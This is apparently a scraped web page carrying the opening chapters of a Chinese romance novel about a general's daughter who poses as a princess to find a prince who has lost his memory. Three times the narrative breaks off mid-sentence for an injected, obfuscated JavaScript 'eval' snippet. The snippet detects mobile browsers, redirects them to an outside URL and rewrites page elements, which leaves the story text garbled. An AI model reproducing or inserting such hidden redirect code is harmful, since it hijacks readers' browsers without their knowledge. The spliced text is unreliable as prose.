《女将军有小煮夫》 1. 离人心上秋 南州国盛元二十五年,冬月廿一。 院中二层小楼,东侧嵌着一棵梅树,凌冽的北风催卷残梅,漫地飞雪,似云雾缭绕。 簌簌落雪轩窗明,凄凄小楼寒霜冬。 李如霜墨发高束坐在楼上窗边,外面天地茫茫,楼中没有暖炉,她裹紧白裘,脸色冻得有些白,环握着木桌上的酒盏,吐出一口白气。 “我音吕阁中有四季之景,你偏要到这里受罪。”尺茽踏着木阶上来,从外面拿了一个汤婆子递给她。 汤婆子温热,缓解了双手的僵麻,指尖青紫退却,她感谢地对尺茽笑了笑道:“坐在这里,我心静。” 尺茽瞧了瞧她身上的白裘,忽道:“你这裘有些眼熟,是那年他猎的白狐?” 李如霜点了点头,一时无言,听着雪声,酒杯见了底。 酒入愁肠,她倏地眼中涌上一抹落寞,开口道:“他......还是没消息吗?” 李如霜不敢抱有太大的期望,已经两年了,每三个月她都会从燕京赶来青州黄城,只为等到那个人的消息。 尺茽摇摇头道:“赫连国最近似乎出了事,他一时半会脱不开身,你恐怕还得等一段时日。” 李如霜闻言笑容苦涩,她已经等不了了。皇帝已下圣旨,赐婚于将军府大小姐和南州第一药帮陈氏的小公子,择日完婚。 再等下去,恐怕就等到她嫁作人妇。 “陈无阙那什么意思,他如果娶你,那贤仁公主怎么办?”尺茽听闻皇帝给她赐婚,惊讶得站了起来,眼神中尽是不可思议。 父母之命媒妁之言,更何况承蒙皇恩,怎敢不从。无论陈氏药帮如何富贵,终究是商贾之家,皇帝不会将自己的宝贵女儿下嫁陈家。 纵他陈无阙是医术高超,妙手寻春,也救不了自己的宿命。 天底下多少阴差阳错,总是促成一对对怨偶。 院子中风雪不停,人却是要走的,李如霜收拾好包裹,扬身上马,回头向尺茽道别:“尺茽姐姐,我这一走,不知道什么时候能再来,如有要事直接修书一封送至将军府!” 随即扬鞭策马,裘袍裂风而去,马蹄落雪无声。 燕京大将军府内,红绸绕柱,丹灯莹窗,厅堂之中红木抬盒几十,梨木轿箱数百,其中金银珠宝、绸纱锦缎数不胜数。 大到凤倚金如意,小到龙纹玉掌梳,都是陈家送来的聘礼,层层叠叠一直铺到院子中。 李如霜刚回府,便看见这样的架势,不禁暗暗自嘲:陈无阙那样无所不能,为公主出生入死的人,都可以放下旧情娶她,那自己何必等一个仅仅只认识了半年的人。 人家可是堂堂赫连王室十皇子赫连昭,说不定早就把这段露水情缘忘了,此时正躺在温柔乡里,与别的女子浓情蜜意。 玉棉听到小姐回来的消息,捧着厚绒斗篷暖手抄和汤婆子急匆匆地迎了出来,看见李如霜握着马鞭呆立在雪中,连忙上前给她套上。 “小姐,快扔掉这马鞭,你手都冻红了。”玉棉里三圈外三圈给她围了个遍,李如霜感觉自己现在就像个粽子。 她把斗篷解下来披在玉棉身上,嗔道:“我穿着这狐裘一点也不冷,你给我勒得快无法呼吸了。” 玉棉傻笑道:“嘿嘿,玉棉这不是怕小姐冷嘛,小姐快进屋吧!” 李如霜被玉棉搀扶着行于小径,忽然,她听到身后异动,于是一把将玉棉推到旁边的雪堆里,抽出腰间漆黑发亮的扶蛇。 一鞭卷住刺向她的红枪,扔到空中。来人一跃而起,伸手握住枪身,回落于李如霜面前。 “李如羽,你都是娶过妻的人了,能不能不这么幼稚!”她一双杏眼瞪着这个丰神俊朗却有些玩世不恭的男人。 李如羽持着枪立于地上,挠了挠头:“这不是听说妹子回来了,来比试比试。” 李如霜把扶蛇抽得飕飕作响道:“哥,武功这方面,你从来没比过我,怎么还不死心啊?” “你用那鞭子太耍赖了,跟我比枪,我指定比你强......喂!”眼见着她扑了扑玉棉身上的雪就要走,李如羽怪叫道。 李如霜转身摆摆手,“恕不奉陪,你有这功夫不如想想,怎么讨嫂子欢心。”她一刻也不停,脚下生风走得越来越快。 嫂子去年年初嫁进来,也是皇上给指的婚,当今圣上怎么这么爱点鸳鸯谱呢。 屋内已经烧得暖烘烘,几个小丫鬟正整理床铺,李如霜脱下白裘交与玉棉,伸手在铜炉上烤火。 玉棉撂下暖帘凑上来道:“小姐,你成婚可真有福气,和公主一起出嫁。皇上说了这是喜事成双!” 李如霜听了愣住,忙问:“婉柔要去和亲?我怎么不知道。” 玉棉嘻嘻一笑,很是高兴:“就是你去青州这一个月的事。赫连国求娶咱们公主,圣上一高兴就把你的婚期与和亲的日子定在一天了。小姐你和公主关系好,一起出嫁应该很欢喜吧。” 赫连国,赫连王室要和南州皇室联姻?李如霜先是眉头紧蹙,随后突然目光炯炯似是生起了莫大的希望,她对玉棉道:“快备马车,我去一趟公主府。” 皇帝到底只有这一个女儿,留着在宫中过了年,李如霜与陈无阙的婚期也被推后。 出了春节,正月初六,是钦天监算出的黄道吉日,亦是李如霜寻来转机之日。 当天燕京锣鼓喧天,一抬红轿自将军府出,行至半路竟不知所踪。 而自皇宫而出的凤纹呈祥镶黄轿子,队列亲兵,被拥着浩浩汤汤出了城门,一路安稳到了赫连国。 李如霜端坐在轿子中,心跳如打鼓,她忐忑地撩开盖头,前面只有一帘红锦。 那日,她去找萧婉柔,表明要顶替和亲的想法,而后又与陈无阙细细商议,她和婉柔终是下定决心。 既然婉柔和陈无阙互相喜欢,那他们自然就要在一起,天下之大,二人怎样都与她无关了。 至于她自己,少时就行走于江湖,自从遇见赫连昭便一眼误终生,心中有了牵挂。 他赫连昭既然不来找她,那她李如霜就去赫连暴打他这个负心汉。 摇摇晃晃中,轿子外传来玉棉的声音:“公主,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632988|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到长安城门了。”这么折腾一遭,玉棉无处可去,李如霜便把她一起带来了。 原来是到赫连国都城了,婉柔跟她说,只要没到赫连皇宫,都不能下轿。 李如霜活动一下颈部,坐了这么长时间,感觉自己身子僵得动不了,当公主实在太累。 队伍畅通无阻,直接抬进了王子府中,没什么人相迎。 按照南州的习俗,新娘子下轿须得跨火盆,由新郎牵着移至堂前。而此时,周围安静非常,看来赫连皇室对这个和亲公主不是很重视。 李如霜既来到了这里,便不必守南州的规则,毕竟也不是真来嫁什么人的。 她掀开盖头,即刻就下了轿。亲兵成婚之前都要留在赫连,她从衣裙上扯下一块纱蒙在面上,防止被人认出。 亲兵跟着她走在宫里,沿途的宫女像是不知道有和亲的公主来一样,眼光异样,指指点点。 李如霜疑惑万分,让玉棉拦住一个宫女问道:“请问这是哪个宫?” 宫女看着她们身后的亲兵,有些害怕,答道:“这是德润王府。” 德润王,九皇子,莫非萧婉柔要嫁的是这个九王子赫连复,李如霜心下疑惑,问那个宫女道:“和亲的公主可是要与德润王成亲?” 那宫女惶恐地点头,她这才明白,为何赫连皇室一点也不重视这次的和亲。 九王子为人亲和温润,虽然也被封王,却是最不受宠最没有存在感的王子。 李如霜现下没有功夫处理和亲种种事宜,带着玉棉乔装去了赫连昭的府邸,她想着见面一定要拿扶蛇抽得他满地找牙。 赫连昭是赫连王最小的儿子,被宠爱的程度仅次于太子,还在年少时就有了封号:阳华王。 他随了母族北寒冰室的血统,有着一双绿色的眸子,明眸皓齿,皮肤黝黑,野性勇猛。 阳华王府,宽大朱红门上的碧色琉璃瓦,彰显着府邸主人高贵的身份。 玉棉上前叩响了门环,“扶蛇求见阳华王。” 王府下人立即进去传信,过了一会,那小厮出来赶她们走,“我们王爷根本不认识你们,赶紧走,王爷可不是谁都能见的。” 李如霜闻言如坠冰窖,手指颤抖着。 从不离手的黑鞭扶蛇,便代表着她李如霜,赫连昭居然说不认识,看来他们之间,真的只有自己在一厢情愿。 玉棉还要接着和那小厮理论,李如霜冷笑一声道:“玉棉,不必如此麻烦。” 语罢,她抽出扶蛇捶向地面,如惊雷劈空,随即腾地而起,翻身越过高门,在王府中寻着赫连昭。 拦着她的人,都被一鞭子卷到一边。 李如霜心中憋了两年,这时终于得以发泄。 两年前回到将军府,为了他一句承诺,她等了又等,把性子都等得温顺了,让别人都忘了她原来的刁蛮跋扈。 她咬紧牙关,与护卫缠斗,打得红了眼,嘴里说不出一句话。 那些护卫不是李如霜对手,哪里困得住她,不消片刻,李如霜终是在东侧居室找到了正在吃饭的赫连昭。 2. 重逢却不识 赫连昭见女人眼中透着怒气,来势汹汹,突然有些怂。但一想到这是自己家,他立马放下饭碗,重重拍了一下桌子喝道:“你是何人,私闯王府可是重罪!” 李如霜一鞭子把桌子抽成两半,饭菜碟碗掉在地上摔得稀碎。 没想到赫连昭真的装作不认识她,李如霜本就有气,听了这话顿时火冒三丈。 “你好歹编个好点的理由!”扶蛇旋转生风,她甩手向赫连昭招呼过去。 赫连昭伸手去抓,可那鞭子就像一条滑蛇,灵活得很,无奈之下,只好提拳与李如霜打斗起来。 他练的斩狼诀刚猛非常,然而每出一拳就被那黑鞭锁住,黑鞭精准地捕捉到他所有招式,这个女人好像对他的招式很熟悉一样。 百招下来赫连昭已经自乱阵脚,被扶蛇牢牢捆住动弹不得。 李如霜原本随便绾着的发髻,此时已经松了,玉簪落地,墨发如云垂下。 风吹过,几根发丝掠过唇瓣,衬得她更是清冷英气,宛然一副九天之上的仙女模样。 赫连昭手脚还被捆着,却已经看呆了。 这女人的眼中有火,似乎要把他生吞活剥了不可,可他自问并不认识她。 “赫连昭,这两年你没有进步啊。”李如霜慢慢向他靠近,周围的守卫蓄势待发。 可她越往前走,悲伤越甚,此时赫连昭的眼神中没有一丝深情,视她如陌生人。 忆起曾经,他看着自己总是眼睛发亮,突然心口有些抽痛。 她闭眼深吸一口气,松开扶蛇,摸了摸他的金翠羽耳环。 赫连昭似是被吓了一跳,退后一步道:“姑娘,我真不认识你,你情郎和我很像吗,这都能认错。” 李如霜伸出的手僵在半空中,她不自觉地咬着下唇,忽地理智回笼,这个反应不像是装的,赫连昭好像真的不记得她了。 她一时竟不知如何是好,直直愣在原地。 眼下落痣愁人泪,赫连昭看着雪白的脸上一点痣,突觉有些熟悉,头一热痛了起来,他似乎忘了什么重要的事情。 他晃了晃脑袋,捡起地上掉的簪子递给李如霜道:“姑娘,我们是不是见过?” 曾经紧紧搂着她的大手,上面躺着她的簪子。李如霜没有拿簪子,只垂下眼皮,极力克制颤抖的嗓音回道:“没见过,是我认错了。” 她翻出王府,在各家屋檐上一路疾奔,直到筋疲力尽才停下,扶膝喘气。 逼近早春,长安的地上隐约有着绿意,但风依旧料峭,吹得她阵阵心寒。 她有点接受不了这样的结果,宁愿是赫连昭负了她和别的女人快活。 他怎么可以把过往的一切都忘了,只留她一个人记得。 站于高楼之上,现下无人,一滴清泪在眼眶打转许久,终是落下。 她呆坐在檐上许久,忽听一道冷若冰霜的磁性嗓音:“姑娘,你还下不下来了。” 李如霜低头一看,来的竟是故人。男人眉若点漆,唇薄色淡,正是赫连国太子赫连煜。 想当年她和赫连煜、赫连昭、陈无阙还有几位友人,一起仗剑江湖,快意逍遥。 她一跃而下,问道:“你怎么在这?” 赫连煜眼睛向上翻了个白,摊开手:“你看看这是哪里,竟敢闯太子府,我治你死罪。” 李如霜听了一点也不怕,歪着头冲他吐了吐舌头道:“那你把我抓起来啊。” 看着她现在披头散发,梨花带雨,还强装俏皮的样子,赫连煜负手无奈地叹了口气。 “你见过赫连昭了。”他肯定地说。 李如霜微怔点点头道:“他是失忆了吗,竟不认得我了。” 赫连煜没直接回,只是邀请她:“说来话长,跟我喝一杯。” 她立马答应,正好趁此机会问问清楚,赫连国到底发生什么事了。 赫连煜拿了坛秋心泪,二人坐于府中凉亭,就着点小菜对饮。 “这秋心泪真是和音吕阁的一模一样。”李如霜喝惯了音吕阁的四季酒,此时尝到这秋心泪,不免有些亲切。 赫连煜嘴角勾起,“我可是求着琵衔酿了十几坛才放他走。” 李如霜心想,你赫连煜还会求人,怕是把琵衔关起来,逼他酿酒。 “说正事,赫连昭为什么失忆了?”李如霜正色道。 “你知道的,昭儿继承了他母族的上古五毒体,本是百毒不侵。谁知突然有一天,昭儿体内的毒到处乱窜,神志不清,醒来之后有些人便不认得了。”赫连煜思索起那天的事情,不禁皱了眉。 李如霜把玩着酒杯,沉默许久,暗暗觉得此事另有蹊跷。 赫连昭上古五毒体是北寒冰室代代相传的秘术,从来没出过这样的事情,怎的到了赫连昭这,就控制不住毒性了。 她将心中所想与赫连煜道出,赫连煜也有此疑虑,二人突然默不作声。 玉棉在阳华王府外等了许久,只见小姐的身影突然掠出王府,向远处奔去,她就知道这次又得自己回去了。 她也有些功夫,轻手轻脚地摸进九王府,没让任何人发现,进了和亲公主的居室,把凌乱的屋子收拾干净。 这屋子太大,玉棉完事之后,累得坐在椅子上喘气。无事可干便托着下巴等着小姐回来。 转眼暮色已浓,玉棉已打起了瞌睡,忽然门外一阵悉悉碎碎的声音将她惊醒。 她警惕地将门开了一个缝,却发现是李如霜在爬窗。 李如霜见自己被发现了,便悻悻地收回踩在窗沿上的脚,步履轻飘向玉棉走来。 玉棉闻着她身上的酒味,有点嫌弃地扇了扇,“小姐,你怎么喝这么多啊?” 李如霜扶着玉棉的肩膀,呼着酒气笑道:“今天遇到故人了,高兴!” 她和赫连煜聊得痛快,可他酒量太浅,李如霜把他喝趴下才走。 “小姐,咱们刚搬进来,这屋子里什么都没有,只能将就一晚了。”玉棉烧了热水伺候李如霜沐浴,又用热水灌了汤婆子塞进被窝。 两个人一起躺在床上抱着取暖,李如霜本就昏昏沉沉,很快便睡着了。 翌日,李如霜紧皱眉毛捂着头醒来,小心翼翼地越过躺在外侧的玉棉,却还是把她吵醒了。 玉棉揉了揉眼睛,“小姐,你醒了。” “到了这要叫我公主,千万不能漏了嘴。”李如霜坐在镜子前提醒道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632989|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“替我梳洗一下,我要见赫连王。” 小黄门报了三声,李如霜戴着面纱,右后方跟着玉棉,进了朝政殿。 几丈高的紫红柱子撑起殿顶,印有龙狼纹样的红毯铺于阶上,一直蔓延至龙椅。赫连王魁梧无比,双腿如柱,拳头如沙包那么大,坐在上位,便有气吞山河之势。 赫连国原本只是西边十个小国,赫连王骁勇善战,一举统一了西域,带兵从西北打到中原。 赫连军队如猛虎下山,击得南州将士毫无还手之力,连连抢夺了南州五个城池。 最终还是李如霜的父亲李安雄,带领李家军从南边赶到关中守住了下邽。经下邽一战,双方终是停息了战火,李安雄被封为柱国大将军。 龙椅阶下两侧站着赫连的八位王子,她低着头对赫连王做了南州的拱手礼。 “南州贤仁公主参见赫连王。”她的声音不卑不亢,铿锵有力。 赫连王见她戴着面纱,心中不悦,重重拍了一下龙椅,竟扬起一阵风,将李如霜的面纱掀开。 面纱之下,皎洁如月的容颜一瞬间显露在众人面前,李如霜紧张得吞了下口水,还好这里只有赫连煜知道她的真实身份。 “在我赫连无需那些拘礼,你这面纱也不用戴了。”赫连王玩味地看着李如霜,眼中情欲尽显。 赫连昭看清了她的脸,惊讶得捂住了嘴,这女人不是昨天大闹他王府的那位吗! 赫连王站起来,下了一阶,仔细地端详李如霜的脸,赫连煜观察着父王的表情,暗道不好。 “你如今搬到老九那了?”赫连王居高临下,不怒自威,李如霜感觉有一只大手压在自己头上。 她回答称是,赫连王忽地一笑道:“血无,找几个人把公主的东西搬进宫,南州的掌上明珠,自然是住进皇宫里最高贵。” 此话一出,殿内一片死寂,赫连煜侧跨一步挡住李如霜,“父王,请您收回成命。” “煜儿,你知道自己在说什么吗?”父王的声音极具压迫感,赫连煜头皮一紧,仍说了下去:“父王,我前些年在南州游历时,与公主一见钟情,早已私定终身。” 赫连王斜着眼睛打量着赫连煜,众人皆在心里捏了一把汗,突然,赫连王哈哈大笑起来,笑声如雷贯耳。 “行啊,你小子铁树开花了。那就让公主去你府中吧,老九你可有意见?” 九王子赫连复仍是和顺地笑着,直说全凭父王安排。 李如霜以前没见过这九王子,只听说他母亲不受赫连王宠爱,王室自然也不待见他,今日一见果真是个没脾气的主。 她打心底感谢赫连煜,若是成了赫连王的女人,那以后她恐怕插翅也难飞。 出殿后,玉棉心惊肉跳地挽着李如霜道:“真是吓死我了!” 赫连煜和赫连昭一前一后走过来,她连忙屈膝道谢:“多谢,若以后有什么我能帮上忙的,尽管说。” 赫连昭指着李如霜跟赫连煜控诉道:“哥,就是她,昨天在我府里闹得天翻地覆,你可得替我报仇。” 李如霜一记眼刀射过去,手摸上腰间的扶蛇,赫连昭连忙住嘴,躲到赫连煜身后道:“哎,哎,你这是干嘛。” 3. 打情又骂俏 赫连煜哭笑不得,好言劝说李如霜:“你别和他置气了,他现在这种情况,一时半会还恢复不了。” 就这样,李如霜连夜收拾东西搬到赫连煜府中。赫连煜找了个理由,让南州的亲兵回去复命,随行的丫鬟都遣散了,只剩下玉棉跟在她身边。 太子府后罩院中,李如霜一身紫色劲装,黑色抹额系在额前,长鞭若龙蛇游走,瑟瑟生风。 这几天在赫连煜府中,她难得清闲,日日早起练武。 李如霜腾空跃起,衣袂下摆旋成一朵紫花,劈空一鞭,却没有防备地被人抓住鞭子。她急忙稳住身形,踩住鞭子将那人拽到身边。 只见赫连昭抓着鞭子末端,来不及松手,绿色的眸子睁得极大,向她扑过来。 李如霜一时没反应过来,被男人高大又炙热的身体环住,若有若无的暖香,丝丝萦绕入了心田。 她怔了几秒,贴在赫连昭的怀中,贪恋滚烫的体温。 感受着怀中的柔软,赫连昭瞬间像被定了身,耳尖通红,一动也不敢动。 李如霜嘴角一弯,心里打起了鬼主意,她猛地推开赫连昭,大声道:“你竟敢占我便宜,看我怎么收拾你!” 说完,她举起鞭子就要抽下去。 赫连昭慌得闭上眼睛,握拳双臂交叉挡在头顶,心中却有着异样的变化。明明是这女人倒打一耙,他一个十皇子随随便便就能治她的罪。 可对着这张脸,他竟是半点呵斥的话都说不出来。 看到赫连昭这幅样子,李如霜得逞地笑起来,“我就吓唬吓唬你,你怎么这么胆小啊。” “要是昭儿胆小,那世上再无勇敢之人了。”不知何时,赫连煜从影壁后走出来,好整以暇地看着两人。 赫连昭看见赫连煜,以为找到了能为他撑腰的人,立马跑到他身边,“哥,你怎么找个这样的嫂子,凶巴巴的,整天就想着怎么抽人。” “嫂子?”赫连煜愣了一下,忍俊不禁,“还没过门呢,你别叫嫂子。还有,如......公主这鞭子只抽你,我可挨不到。” 嫂子,李如霜咬着腮边的软肉,是啊,他们现在还隔着这层关系呢。 她看到赫连煜手中的青瑶剑,突然感觉有事发生,便问:“刚刚进宫,赫连王跟你说什么了?” 提到这茬,赫连煜顿时心中烦躁。 刚刚得到消息,北边有藩主意图谋反,侵犯周边藩地,他七日后要启程带兵去平定叛乱。 是夜,李如霜躺在床上,回味着白天赫连昭的怀抱,像偷吃了蜜一样,羞得踹了几下被子。忽然,耳闻屋顶异动,她止住心绪,凝神屏气听着。 她是习武之人,气海通畅,耳聪目明,听到那贼靠近了窗户,立即闭上眼睛装睡。 声音越来越近,直到感觉脸前一热,李如霜刷地睁开眼睛,踹向那人的心口,一个手刀将他劈晕。 她叫醒玉棉,揪着那小贼进了赫连煜的寝殿。 赫连煜和衣躺在床上,并未入眠,听到动静,立马出了内室。 “赫连煜,你宫中的守卫不行,什么偷鸡摸狗的人都能混进来。”李如霜把手中的贼人扔到赫连煜跟前。 玉棉点上蜡烛,殿内顿时明亮许多。 赫连煜揭下贼人的面巾,惊讶道:“沮郃?” 这是老三的贴身侍卫。 李如霜点按沮郃身上几处大穴,激他疼得醒过来,却发现自己已经落入人手。 “赫连郎想做什么?”赫连煜抽出青瑶剑,横在沮郃脖颈。 沮郃丝毫不惧,挑衅地看着他道:“我们三王子被公主的美貌迷住了,也想要和公主春宵帐暖......”没等说完,只见血从脖子处喷出。 赫连煜见他满嘴胡话,没有听下去的耐心,一刀就抹了他。 “你还是这么不留情面。”李如霜发出啧啧声,“沮郃好歹也是三王子最得力的侍卫。” 赫连煜甩了甩剑上的血,不以为意,“最得力的落到我手上,更应该杀了,你说是不是。” 她思索着今晚的事情,没有回他,下人处理完沮郃的尸体后,李如霜仍还坐在赫连煜的寝宫中。 赫连煜疑惑道:“你还有事吗?” “我觉得你不应该去北面平息叛乱。”李如霜手指朝天打着圈道,“你走以后这些王子都会有动作,到时候人不在都城,鞭长莫及,对你十分不利。” 赫连煜挑了一下眉毛,“你有想法?” 李如霜站起来,拍着胸脯道:“那当然,让赫连昭去平乱,而你称病在府养精蓄锐。” “可昭儿虽然武功可以,也精通毒术,但打仗又是另一回事,他从没接触过。”赫连煜有些担忧。 她顿时来了兴致,“我跟着去啊,这你总该放心,十六岁时我就跟着爹爹和兄长上战场了。” 赫连煜未置可否。 六日后,太子赫连煜身染寒疾高烧不退,赫连王关心太子,命其好生修养。 赫连煜举荐十王子赫连昭代替自己摆平叛乱,赫连王应允。 五万大军出了长安,李如霜戴着面具,身穿银光细甲,骑于马上。 她侧过头看着赫连昭,他穿着赫连人的服饰,额前系着一根绳,单边戴着狼牙耳环,颇有母族北寒冰室的异族风情。 行至扎营地点,就快要日落西山,李如霜深知应立即安营扎寨,将士休息不好,第二日体力无法支撑行军。 她举手示意全军止步,拽着缰绳靠近赫连昭,“吩咐他们扎寨,要吃饭休息了。” 李如霜见他一脸茫然,便伸手要来了虎符,命五个指挥使,用赫连王室军旗圈出驻扎范围。营帐扎好后,即刻清点人数、装备。 吩咐完一切后,赫连昭肚子响了起来,她嫣然失笑,将系在身上的袋子给他。 赫连昭打开一看,是一袋肉干,他立即吃了一块,口齿含糊地说:“你怎地这么厉害,难道在南州皇宫中,公主也要学怎么打仗吗?” 李如霜也拿了一块肉干,脸不红心不跳地扯谎道:“当然,倒是你,真是对行军打仗一点也不了解。” “煜哥才不会让我带兵,一定是你挑唆的。我从小被母亲和舅舅泡在毒罐子里,怎么可能懂这些?”赫连昭不明不白地踏上了北伐之路,他想破脑袋也不知,为何兄长会听这个公主的话,做出如此荒谬的决定。 李如霜边嚼着肉干,边帮着士兵搭营帐,他们的速度很快,太阳完全落山之前,就已经全部安顿好。 她和赫连昭走进主营帐,摘下面具,脱了细甲坐在椅子上休息。 不一会儿,士兵端了饭菜送到他们这屋,两人本就饿极了,立马上桌开动。 李如霜加了一块肉放进嘴里,立马面露难色,这肉又柴又咸真是难以下咽。 赫连昭自然也品出其中滋味,他看着李如霜皱起的脸,心下有了些想法。 晚上,两人并排打了地铺,很快就入睡了。 第二天早上,李如霜被军中操练的声音吵醒,旁边的赫连昭已经起床,不知道跑到哪去。 她把两人的被褥都收拾起,换上一身暗红色短打。 刚把扶蛇别到腰间,赫连昭就端着托盘,上面摞着五碟饭菜进来。 只见他把饭菜在桌上摆得整齐,她凑近了一看,分别是青菜小炒、骨头汤、四个煮鸡蛋和六个大馒头。 她盛了碗汤,有了昨晚的前车之鉴,只嘬了一小口,却没想到这汤炖得鲜香入味,咸淡正好,再吃一口那青菜小炒,也是十分清爽可口。 李如霜放下碗,就看到赫连昭眼神充满期待地看着她,顿时明白了。 “这两个菜......是你做的?”她以前没吃过赫连昭做的饭,竟不知他还有这本事。 赫连昭得意地点头,“皇宫中饮食尤其精细,你又是公主,军营中的菜肯定不合你的胃口。我的厨艺还不错,指定比昨晚那菜强,怎么样好吃吗?” 他十分想从李如霜口中得到肯定。 李如霜看着碗中的汤,心中暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632990|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烘烘的,她点了点头。赫连昭就像讨到糖吃的小孩,笑呵呵地捧起饭碗。 她喝完汤,拿了个鸡蛋,起身道:“我去各个帐中看看,你先吃。” “你面具没戴。”赫连昭提醒道。 李如霜笑道:“不用戴面具。” 那面具狰狞,行军和发号施令时佩戴,是用来威慑和保持神秘感的武器。 她一介女郎,脸也长得俊,想要将士信服不是一件容易的事。 但平时倒不用遮住脸,她又不是见不得人。 这个时候,将士们都在吃饭,她走了几个帐子才发现,赫连昭不仅做了他俩的份,连东边这四个团的伙食都是他做的。 李如霜鸡蛋吃完走了一圈,回到主营帐中,整顿好队伍出发。大军半个月行至延州,安顿在王室军的营寨。 李如霜和延州军中老将商议着此番讨伐的对策,赫连昭帮不上什么忙,只能吊着样弄些好吃的给她。 这个时节已经是早春,但北方仍旧漫天飞雪,严寒无比,他们要考虑的不仅有战术,还有防寒的问题。 她走到账外,用长靴跟凿着地上被踩得梆硬结实的雪,心想,这群赫连老将军还想等到化冻再打,简直荒谬。 到时候叛乱的藩王已经扩大了势力,在北部一手遮天,他们这点兵力想要拿下叛贼可不够。 “你们谈完了?”赫连昭冰天雪地里把衣衫解开,袒露着胸膛,手里还拿着做饭用的长勺。 李如霜摇摇头道:“你不冷吗?” 赫连昭大大咧咧地走到她跟前,也不避讳,“我可是上古五毒体,血热不怕冷。” 他低头看着李如霜羞红的脸,觉得十分有趣,于是贴得更加近了。 李如霜眼神闪躲不敢看他,手慌乱一推,直接挨上那胸,她像是被烫到一般,惊得转过身。 “你......你好好穿衣服。”她指了指那处。 赫连昭“啊”的一声,拽着衣服遮住露出的地方,拍一下她的肩膀。 “快过来,有惊喜。” 李如霜不明所以,跟着他来到一个帐子,只见中间架起一口大锅,柴火旺盛烧得噼里啪啦直响,地上摆了一圈肉和蔬菜。 锅中不知放了什么调料,香气四溢,她顿时两眼放光,唇齿生津道:“我的天,这是什么!” 赫连昭又招呼了几个元帅劲将进来,众人齐齐围坐在锅子旁。 李如霜敲了敲身边的赫连昭道:“这怎么吃啊?” 赫连昭夹了一片肉下到锅里道:“这是我们赫连的暖锅,大家围着一口锅,夹着肉涮几下就可以吃了。” 他调了一碗酱递给李如霜。 李如霜初次接触这样的吃法,一时觉得新奇,赫连昭把涮好的肉夹到她碗中,李如霜就着酱料送进嘴里。 肉质鲜嫩,肥而不腻,原来的骚腥也没有了,反而有些清爽。 “嗯!”她嘴巴鼓着,发出赞叹声,赫连昭瞬间觉得没白忙活,几天的疲累都消解了,他又涮了许多可口的肉菜给她。 李如霜看着堆成小山的碗,都不用自己夹了,反观赫连昭忙着照顾她,自己却没吃多少。 锅子热气腾腾把账内熏得极暖,将士其乐融融好不欢乐,让李如霜想起从前在李家军营中,父亲和伯伯们十分宠爱她,一有什么新鲜玩意,便都拿给她和兄长。 想到此她眼中血丝上涌,赫连昭察觉到她的情绪,用胳膊蹭一下她道:“眼睛怎么红了,被我的贴心感动了?” 李如霜露出个比哭还难看的笑回怼:“别往自己脸上贴金。” 这一顿吃得很是畅快,李如霜心中有事,决定到河边走走。 月如娥眉,河水仍然冻着,冰上映不出弯月的形状。 现在爹爹和哥哥一定很着急,到处在寻她吧,李如霜望着漆黑一片看得并不分明的冰面,有些伤怀。 是女儿不孝肆意妄为了。 就这么定定地站了许久,突然,一个雪球砸在她的后背。 4. 军妓梅娘 这个时候的雪团成球,打在身上还蛮疼,李如霜吃痛摸着后背。她愠怒地转过身,只见赫连昭狡黠地看着她,手里还攥着个雪球。她蹲下也攒了个雪球,朝他扔去。 两人这样一来一回打得尽兴,赫连昭追着她灌雪,李如霜捂着脑袋到处逃窜,“啊哈哈哈,赫连昭你死定了!” 最后李如霜和赫连昭齐齐倒在雪地上,她喘着粗气,看着天上的星辰,顿时心中海阔云清。 不远处就是他们的营寨,火烛燃鸣,交岗的士兵已经开始巡夜了,盔甲摩擦传来叮哐声,男人交谈声嗡嗡雄厚。 感觉到刺骨的寒意,李如霜站起身来,朝赫连昭伸出手道:“走吧,有点冷了。” 赫连昭握住她的手,顿觉这个女人力大无穷。他好歹是个八尺高的汉子,但她把自己拉起来却毫不费劲,真想扒开看看是不是铁块做的。 “你冷啊,我抱着你就不冷了。”赫连煜玩笑着。 李如霜狠狠捶了下他的后背:“你这脸真是不要了。” 赫连昭努努嘴,“我开玩笑嘛,怎么可能占我嫂子的便宜。”他也不知怎么了,总喜欢逗这个贤仁公主,那个话他本不该说。 煜哥是他敬仰的兄长,他不该拿他的女人开玩笑。 李如霜听见这话,瞬间冷了下来,啪地抽出手,也不等赫连昭就回了寨子中。赫连昭以为自己冒犯了她,跑着追上去。 李如霜阴沉着脸不说话,赫连昭也不敢开口,只得在她身后跟着。 此时不到就寝的时候,许多营帐还亮着光,一个女人衣衫不整,嘴角破了个口子,抽泣着从一个帐子中跑出来,把还在晃神的李如霜撞了个趔趄。 